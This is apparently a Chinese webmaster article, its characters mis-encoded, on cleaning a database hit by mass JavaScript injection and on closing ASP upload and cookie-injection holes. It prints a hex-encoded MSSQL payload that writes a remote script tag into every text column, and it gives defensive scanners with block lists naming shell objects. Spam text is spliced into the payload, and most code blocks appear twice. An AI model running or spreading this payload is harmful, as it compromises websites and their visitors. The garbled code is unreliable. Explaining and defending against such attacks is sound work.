雖然,可以通過sql查詢分析器執(zhí)行批量代換,暫時(shí)解決被插入的js代碼問題,然而不從根本上解決整個(gè)網(wǎng)站存在的漏洞,包括程序上和服務(wù)器安全權(quán)限,那么黑客還是隨時(shí)可以入侵你的網(wǎng)站數(shù)據(jù)庫(kù)。
在sql查詢分析器里可以執(zhí)行以下的代碼批量替換js代碼:
“
update 表名 set 字段名=replace(字段名,’<Script Src=http://c.n%75clear3.com/css/c.js></Script>’,”) ”
update 表名 set 字段名=replace(字段名,’<Script Src=http://c.n%75clear3.com/css/c.js></Script>’,”) ”
flymorn仔細(xì)檢查了網(wǎng)站,發(fā)現(xiàn)網(wǎng)站存在幾個(gè)安全問題:
第一,網(wǎng)站存在上傳漏洞;雖然,上傳文件需要管理員身份驗(yàn)證,也對(duì)上傳文件進(jìn)行了文件格式的認(rèn)證,但管理員身份驗(yàn)證采用了cookies,而cookies是可以被偽造的,而且如果上傳了圖片后,不對(duì)該文件的內(nèi)容采取任何判斷的話,那么圖片木馬也很有可能被上傳。
解決措施:1 刪除上傳文件功能(不太實(shí)際);2 修改上傳用戶驗(yàn)證為session驗(yàn)證;3 對(duì)上傳后的文件內(nèi)容進(jìn)行驗(yàn)證,如果是圖片木馬,則刪除;可以參考以下的驗(yàn)證代碼:
”===============判斷上傳文件是否含非法字符串start================
set MyFile = server.CreateObject(”Scripting.FileSystemObject”)
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) ‘讀取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr=”<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language=”
sNoString = split(sStr,”|”)
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel = server.CreateObject(”Scripting.FileSystemObject”)
filedel.deletefile Server.mappath(filePath)
set filedel = nothing
Response.Write(”<script>alert(’您上傳的文件有問題,上傳失敗!’);history.back();</script>”)
Response.End
end if
next
”=================判斷上傳文件是否含非法字符串end===================
set MyFile = server.CreateObject(”Scripting.FileSystemObject”)
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) ‘讀取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr=”<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language=”
sNoString = split(sStr,”|”)
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel = server.CreateObject(”Scripting.FileSystemObject”)
filedel.deletefile Server.mappath(filePath)
set filedel = nothing
Response.Write(”<script>alert(’您上傳的文件有問題,上傳失敗!’);history.back();</script>”)
Response.End
end if
next
”=================判斷上傳文件是否含非法字符串end===================
第二,網(wǎng)站存在cookies注入漏洞。由于程序設(shè)計(jì)中,為了考慮到減小服務(wù)器的開銷,所有用戶登陸后采用cookies驗(yàn)證,這個(gè)cookies里保存了用戶的 ID 和 NAME ,而眾所周知,cookies是經(jīng)常被黑客偽造的,這是其一;另外,某些外部參數(shù) 沒有采用嚴(yán)格的 request.form 和 request.querystring 來獲取內(nèi)容,為了簡(jiǎn)便,采用了 request(”id”) 這樣的方式。
我們知道,ASP 的request 是先從form、querystring里獲取內(nèi)容,如果這兩個(gè)為空,則要從cookies里獲取內(nèi)容,大家往往在程序設(shè)計(jì)中考慮到了 request.form 和 request.querystring 的SQL注入,所以一般都會(huì)過濾 request.form 和 request.querystring進(jìn)行sql注入;但卻偏偏忘了過濾cookies方式下的注入。我們來看下下面這樣的sql語句:
SQL=”select * from 表名 where id=”&request(”id”)
如果這個(gè) id 恰巧是通過cookies來獲取值的,那么想想,這是一件多么可怕的事啊!注入者可以輕松的偽造一個(gè)名為 id 的虛假 cookies ,因?yàn)檫@個(gè) id 的cookies 是服務(wù)器分配給它的。這個(gè)cookies可以被偽造成類似下面這樣的一段代碼:
dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0×6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才網(wǎng)([url]http://it.ad0.cn[/url]) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);–
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才網(wǎng)([url]http://it.ad0.cn[/url]) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);–
看暈了吧。這是利用HEX的方式進(jìn)行SQL注入,可以繞過一般的IDS驗(yàn)證,只要系統(tǒng)存在SQL注入,上面的代碼將會(huì)被執(zhí)行,通過游標(biāo)遍歷數(shù)據(jù)庫(kù)中的所有表和列并在列中插入js代碼。
解決辦法:1 嚴(yán)格過濾 request.form 和 request.querystring 獲取的內(nèi)容,堅(jiān)決不用 request(”name”) 這樣的方式獲取值,凡是采用 cookies 保存的內(nèi)容,盡量不要用在sql語句里進(jìn)行查詢數(shù)據(jù)庫(kù)操作;2 重要的用戶資料盡量采用 session 驗(yàn)證,因?yàn)閟ession是服務(wù)器端的,客戶端無法偽造數(shù)據(jù),除非他有你服務(wù)器的權(quán)限。
可以采用以下的防范 get 、post以及cookies 注入的代碼來過濾 sql 注入攻擊:
<%
Response.Buffer = True ‘緩存頁面
‘防范get注入
If Request.QueryString <> “” Then StopInjection(Request.QueryString)
‘防范post注入
If Request.Form <> “” Then StopInjection(Request.Form)
‘防范cookies注入
If Request.Cookies <> “” Then StopInjection(Request.Cookies)
Response.Buffer = True ‘緩存頁面
‘防范get注入
If Request.QueryString <> “” Then StopInjection(Request.QueryString)
‘防范post注入
If Request.Form <> “” Then StopInjection(Request.Form)
‘防范cookies注入
If Request.Cookies <> “” Then StopInjection(Request.Cookies)
‘正則子函數(shù)
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = “‘|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)”
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write “<Script Language=javascript>alert(’非法注入!你的行為已被記錄?。 ?;history.back(-1);</Script>”
Response.End
End If
Next
Set regEx = Nothing
End function
%>
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = “‘|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)”
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write “<Script Language=javascript>alert(’非法注入!你的行為已被記錄?。 ?;history.back(-1);</Script>”
Response.End
End If
Next
Set regEx = Nothing
End function
%>
把以上的代碼另存為一個(gè)文件,如 antisql.asp ,然后在數(shù)據(jù)庫(kù)連接文件開頭包含這個(gè)文件 <!–#include file=”antisql.asp”–> ,就可以實(shí)現(xiàn)全站的防范 sql 注入的攻擊了。
第三,做好服務(wù)器權(quán)限的分配。對(duì)于數(shù)據(jù)庫(kù)的權(quán)限,盡量分配最小的權(quán)限給用戶使用,如果把sa或管理員的權(quán)限分下來,一旦被攻擊淪陷,這將是一個(gè)毀滅性的打擊。mssql 的1433端口,建議不用的時(shí)候,最好關(guān)閉。
總之,安全問題是一個(gè)綜合的問題,一個(gè)小的細(xì)節(jié),可能讓你的幾個(gè)月甚至幾年的心血付之東流。我們不僅要從程序上著手每個(gè)細(xì)節(jié),而且要仔細(xì)做好服務(wù)器的安全工作,對(duì)于虛擬主機(jī)的用戶,還要防范服務(wù)器上的跨站攻擊。細(xì)節(jié)決定成敗。